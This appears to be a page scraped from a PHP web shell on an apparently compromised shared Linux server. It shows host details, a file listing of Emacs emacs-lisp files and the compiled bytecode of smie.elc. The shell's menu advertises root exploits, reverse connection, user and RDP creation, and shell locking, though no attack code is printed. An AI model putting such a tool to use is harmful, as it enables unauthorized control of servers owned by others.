Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
emacs-lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
advice.elc
54
KB
-rw-r--r--
autoload.elc
28.25
KB
-rw-r--r--
avl-tree.elc
27.45
KB
-rw-r--r--
backquote.elc
4.68
KB
-rw-r--r--
backtrace.elc
40.98
KB
-rw-r--r--
benchmark.elc
3.74
KB
-rw-r--r--
bindat.elc
10.73
KB
-rw-r--r--
byte-opt.elc
39.59
KB
-rw-r--r--
byte-run.elc
17.44
KB
-rw-r--r--
bytecomp.elc
154.17
KB
-rw-r--r--
cconv.elc
20.71
KB
-rw-r--r--
chart.elc
25.98
KB
-rw-r--r--
check-declare.elc
9.01
KB
-rw-r--r--
checkdoc.elc
74.78
KB
-rw-r--r--
cl-extra.elc
29.37
KB
-rw-r--r--
cl-generic.elc
59.25
KB
-rw-r--r--
cl-indent.elc
18.03
KB
-rw-r--r--
cl-lib.elc
31.72
KB
-rw-r--r--
cl-loaddefs.el
45.79
KB
-rw-r--r--
cl-macs.elc
90.7
KB
-rw-r--r--
cl-preloaded.elc
27.28
KB
-rw-r--r--
cl-print.elc
14.77
KB
-rw-r--r--
cl-seq.elc
38.35
KB
-rw-r--r--
copyright.elc
10.17
KB
-rw-r--r--
crm.elc
7.62
KB
-rw-r--r--
cursor-sensor.elc
6.74
KB
-rw-r--r--
debug.elc
36.42
KB
-rw-r--r--
derived.elc
11.88
KB
-rw-r--r--
disass.elc
6.11
KB
-rw-r--r--
easy-mmode.elc
19.78
KB
-rw-r--r--
easymenu.elc
19.88
KB
-rw-r--r--
edebug.elc
123.13
KB
-rw-r--r--
eieio-base.elc
17.17
KB
-rw-r--r--
eieio-compat.elc
8.41
KB
-rw-r--r--
eieio-core.elc
36.91
KB
-rw-r--r--
eieio-custom.elc
15.8
KB
-rw-r--r--
eieio-datadebug.elc
3.17
KB
-rw-r--r--
eieio-loaddefs.el
3.96
KB
-rw-r--r--
eieio-opt.elc
9.32
KB
-rw-r--r--
eieio-speedbar.elc
13.13
KB
-rw-r--r--
eieio.elc
33.03
KB
-rw-r--r--
eldoc.elc
19.14
KB
-rw-r--r--
elint.elc
30.6
KB
-rw-r--r--
elp.elc
12.68
KB
-rw-r--r--
ert-x.elc
11.48
KB
-rw-r--r--
ert.elc
177.96
KB
-rw-r--r--
ewoc.elc
25.26
KB
-rw-r--r--
faceup.elc
16.97
KB
-rw-r--r--
find-func.elc
21.61
KB
-rw-r--r--
float-sup.elc
1.21
KB
-rw-r--r--
generator.elc
27.42
KB
-rw-r--r--
generic.elc
7.18
KB
-rw-r--r--
gv.elc
22.69
KB
-rw-r--r--
helper.elc
3.96
KB
-rw-r--r--
inline.elc
8.37
KB
-rw-r--r--
let-alist.elc
3.04
KB
-rw-r--r--
lisp-mnt.elc
22.59
KB
-rw-r--r--
lisp-mode.elc
38.03
KB
-rw-r--r--
lisp.elc
21.44
KB
-rw-r--r--
macroexp.elc
18.01
KB
-rw-r--r--
map-ynp.elc
10.54
KB
-rw-r--r--
map.elc
18.25
KB
-rw-r--r--
nadvice.elc
17.65
KB
-rw-r--r--
package-x.elc
9.06
KB
-rw-r--r--
package.elc
146.54
KB
-rw-r--r--
pcase.elc
23.11
KB
-rw-r--r--
pp.elc
5.5
KB
-rw-r--r--
radix-tree.elc
5.88
KB
-rw-r--r--
re-builder.elc
25.78
KB
-rw-r--r--
regexp-opt.elc
6.3
KB
-rw-r--r--
regi.elc
6
KB
-rw-r--r--
ring.elc
6.32
KB
-rw-r--r--
rmc.elc
4.79
KB
-rw-r--r--
rx.elc
40.69
KB
-rw-r--r--
seq.elc
23.64
KB
-rw-r--r--
shadow.elc
9.34
KB
-rw-r--r--
smie.elc
48.84
KB
-rw-r--r--
subr-x.elc
11.17
KB
-rw-r--r--
syntax.elc
26.13
KB
-rw-r--r--
tabulated-list.elc
26.57
KB
-rw-r--r--
tcover-ses.elc
14.29
KB
-rw-r--r--
tcover-unsafep.elc
3.87
KB
-rw-r--r--
testcover.elc
23.03
KB
-rw-r--r--
text-property-search.elc
8.13
KB
-rw-r--r--
thunk.elc
3.06
KB
-rw-r--r--
timer-list.elc
4.3
KB
-rw-r--r--
timer.elc
21.65
KB
-rw-r--r--
tq.elc
3.99
KB
-rw-r--r--
trace.elc
7.27
KB
-rw-r--r--
unsafep.elc
4.45
KB
-rw-r--r--
warnings.elc
9.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : smie.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file contains utf-8 non-ASCII characters, ;;; and so cannot be loaded into Emacs 22 or earlier. (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (string-lessp emacs-version "23") (error "`%s' was compiled for Emacs 23 or later" #$)) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307%\207" [require prog-mode custom-declare-group smie nil "Simple Minded Indentation Engine." :group languages] 6) (defvar smie-warning-count 0) #@41 (fn TABLE X Y VAL &optional OVERRIDE) (defalias 'smie-set-prec2tab #[1284 "\203 \204\f \301\302!\210B\303\"\211\203K \211=\204K \2036 \303\"\2036 \304\303\" #\202Q \305\306\307\310 %\"\210T\211\202Q \304 #\207" [smie-warning-count cl--assertion-failed (and x y) gethash puthash display-warning smie format "Conflict: %s %s/%s %s"] 15 (#$ . 600)]) #@336 Compute a 2D precedence table from a list of precedences. PRECS should be a list, sorted by precedence (e.g. "+" will come before "*"), of elements of the form (left OP ...) or (right OP ...) or (nonassoc OP ...) or (assoc OP ...). All operators in one of those elements share the same precedence level and associativity. (fn PRECS) (defalias 'smie-precs->prec2 #[257 "\300\301\302\"\211\203\214 \211@\211A\211\203\204 \211@@\303\236A\211\2035 A\211\2034 \211@\304$\210A\266\202\202 \210\210\305\306\211\203{ \211@=\203P \306\262\305\262\202t \211A\211\203s \211@\304$\210\304 $\210A\266\202\202R \210A\266\202\202: \266A\266\202\202 \210A\266\202\202 \210\211\207" [make-hash-table :test equal ((left . >) (right . <) (assoc . =)) smie-set-prec2tab < >] 17 (#$ . 984)]) (byte-code "\300\301\302\303#\300\207" [function-put smie-precs->prec2 pure t] 4) #@21 (fn &rest TABLES) (defalias 'smie-merge-prec2s #[128 "\211A\204 \211@\207\300\301\302\"\211\203+ \211@\303\304\305\306\307\310!\311\"\312\313%\"\210A\266\202\202 \210\211\207" [make-hash-table :test equal maphash make-byte-code 514 ":\203 \301\300@A$\207\302\300\"\203# \302\300\"\232\204# \303\304\"\207\305\300#\207" vconcat vector [smie-set-prec2tab gethash error "Conflicting values for %s property" puthash] 7 "\n\n(fn K V)"] 11 (#$ . 1883)]) (byte-code "\300\301\302\303#\300\207" [function-put smie-merge-prec2s pure t] 4) #@1223 Convert the BNF grammar into a prec2 table. BNF is a list of nonterminal definitions of the form: (NONTERM RHS1 RHS2 ...) where each RHS is a (non-empty) list of terminals (aka tokens) or non-terminals. Not all grammars are accepted: - an RHS cannot be an empty list (this is not needed, since SMIE allows all non-terminals to match the empty string anyway). - an RHS cannot have 2 consecutive non-terminals: between each non-terminal needs to be a terminal (aka token). This is a fundamental limitation of the parsing technology used (operator precedence grammar). Additionally, conflicts can occur: - The returned prec2 table holds constraints between pairs of token, and for any given pair only one constraint can be present, either: T1 < T2, T1 = T2, or T1 > T2. - A token can either be an `opener' (something similar to an open-paren), a `closer' (like a close-paren), or `neither' of the two (e.g. an infix operator, or an inner token like "else"). Conflicts can be resolved via RESOLVERS, which is a list of elements that can be either: - a precs table (see `smie-precs->prec2') to resolve conflicting constraints, - a constraint (T1 REL T2) where REL is one of = < or >. (fn BNF &rest RESOLVERS) (defalias 'smie-bnf->prec2 #[385 "\301\302\"\303\211\211\211\304\305\306\307\"\303\305\306\307\"\211\203U \211@\211G\310U\2039 \211A@\311>\2039 \312@\3138A@$\210\202N \211@@\314>\203I \211B\262\202N \315\316\"\210A\266\202\202 \210\317\320\301\321\"#\266\202\303 \211\203e\211@\211@\303\211\211\211A\211\203;\211@\211:\204\204 \322\323\324D\"\210\211@\235\204\240 \211@\325\"\204\234 \211B\262\210\202\331 \211@\325\"\204\256 \211B\262\210\211A:\203\331 \211A@\235\203\307 \315\326@A@#\210\211A@\325\"\204\330 \211B\262\210\327!\211@\235\204\370 \211@\325 \"\204\364 \211B\262\210\2023\211@\325\"\204\211B\262\210\211A:\2033\211A@\235\203!\315\326A@@#\210\211A@\325 \"\2042\211B\262\210\210A\266\202\202r \210BB\262B B\262 B\fB\262\fBB\262\266A\266\202\202d \210\330\262\211\303\262\203\303\211\203\277\211@\211A\262\242\331\"\211\203\266\211@\331\"A\211\203\256\211@\211\235\204\247\330\262 \211AB\241\266A\266\202\202\217\210A\266\202\202\203\266A\266\202\202q\210\202i\330\262\211\303\262\203 \211\203\211@\211A\262\242\331\n\"\211\203\211@\331 \"A\211\203\211@\211\235\204\330\262 \211AB\241\266A\266\202\202\354\210A\266\202\202\340\266A\266\202\202\316\210\202\306 \211\203\317\211@\211A\211\203\307\211@\211A\203\300\211@\f\235\203a\331@\"A\211\203]\211@\312 A@\332\f%\210A\266\202\202D\210\202\271\211A@\f\235\203\254\331A@\f\"A\211\203\212\211@\312 @\333\f%\210A\266\202\202r\210\211AA\203\271\211AA@\f\235\204\271\312@AA@\334\n%\210\202\271\312@A@\334\n%\210\211A\262\2020A\266\202\202*\210A\266\202\202\"\210\335\336\337\f!#\210\335\340\341\f!#\210\304V\203\360\342\343\344\345\"\"\210)\207" [smie-warning-count mapcar car nil 0 make-hash-table :test equal 3 (= < >) smie-set-prec2tab 2 (left right assoc nonassoc) error "Unknown resolver %S" apply smie-merge-prec2s smie-precs->prec2 signal wrong-type-argument consp memql "Adjacent non-terminals: %s %s" reverse t assoc > < = puthash :smie-open/close-alist smie-bnf--classify :smie-closer-alist smie-bnf--closer-alist display-warning smie format "Total: %d warnings"] 24 (#$ . 2441)]) (byte-code "\300\301\302\303#\300\207" [function-put smie-bnf->prec2 pure t] 4) #@272 Build a closer-alist from a BNF table. The return value is in the same form as `smie-closer-alist'. NO-INNERS if non-nil means that inner keywords will be excluded from the table, e.g. the table will not include things like ("if" . "else"). (fn BNF &optional NO-INNERS) (defalias 'smie-bnf--closer-alist #[513 "\300\301\"\302\211\203\217 \211@\211A\211\203\207 \211@\211G\303W\204\200 \211@\235\204\200 \203O \304!@\211\235\204K @B\211\235\203C \202G \211B\262\262\210\202\200 \305A!\211\203 \211@\211\235\204x @B\211\235\203p \202t \211B\262\262A\266\202\202S \210A\266\202\202 \210A\266\202\202 \210\211\237\207" [mapcar car nil 2 last reverse] 13 (#$ . 6007)]) #@26 (fn TABLE TOKEN CLASS) (defalias 'smie-bnf--set-class #[771 "\300#\301=\203 \202) \302=\203 \302\202) \303\304\305\306$\"\210\307#\207" [gethash puthash t display-warning smie format "token %s is both %s and %s" neither] 13 (#$ . 6716)]) #@116 Return a table classifying terminals. Each terminal can either be an `opener', a `closer', or `neither'. (fn BNF) (defalias 'smie-bnf--classify #[257 "\300\301\302\"\303C\211\203 \211@\304@\305#\210A\266\202\202 \210\211\203{ \211@\211A\211\203s \211@\211A\204@ \306\211A\262\242\307#\210\202l \306\211A\262\242\310#\210\211A\203` \306\211A\262\242\307#\210\202L \306\211A\262\242\311#\210A\266\202\202&